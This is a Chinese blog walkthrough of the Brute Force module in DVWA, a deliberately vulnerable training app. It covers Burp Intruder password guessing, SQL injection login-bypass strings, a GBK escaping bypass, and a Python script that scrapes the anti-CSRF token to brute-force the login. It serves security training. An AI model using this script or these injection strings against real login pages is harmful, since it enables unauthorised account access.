DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
DVWA共有十个模块,分别是Brute Force、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA (不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。
DVWA的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。
Brute Force,即BF,是指利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一,如2014年轰动全国的12306“撞库”事件,实质就是暴力破解攻击。
low难度
增加概率,多次重试
首先拦截登录请求:
Ctrl+L发送到Intruder:
要爆破的是password,所以把password的值用$包起来,当作Payload Set:
点击右侧的clear §
,清除自动参数,选择12345678后点击add §
。
加载一个密码库,开始:
查看attack结果,按照返回内容长度排序,会发现有一个不一样的,那个就是答案:
另外一种方法:sql注入
用户名输入:admin' or 1='1
或 admin' #
Medium难度
主要是增加了mysql_real_escape_string过滤了特殊字符,如x00 \n \r ' " x1a
转义。MySQL5.5.37
以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对 单引号的转义。
High难度
加入了Anti-CSRFtoken预防无脑爆破,可以抵御CSRF攻击,增加了BF(Brute Force)的难度。
bp就不能很方便的加载payload了,需要用到Python:
from bs4 import BeautifulSoup
import requests
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Cookie': 'security=high; PHPSESSID=lea96vhl7ammeuvevfgbf9gv41'
}
s = requests.session()
index_url = "http://test/DVWA-2.0/vulnerabilities/brute/index.php"
for line in open("top1000_passwords.txt"):
res = s.get(url=index_url, headers=headers)
soup = BeautifulSoup(res.content, "html.parser")
user_token = soup.select_one('input[name="user_token"]').get('value')
login_url = "http://test/DVWA-2.0/vulnerabilities/brute/index.php"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token+"#"
print(login_url)
print('admin', line.strip())
res = s.get(login_url, headers=headers)
soup = BeautifulSoup(res.content, "html.parser")
info = soup.select_one('pre').get_text()
print(info)
到password报错,说明password这儿有异常,就是密码了。
impossible
impossible难度模式下加入了PDO占位符
和重试限制
,安全性大大加强。
来源:oschina
链接:https://my.oschina.net/u/4368015/blog/4540022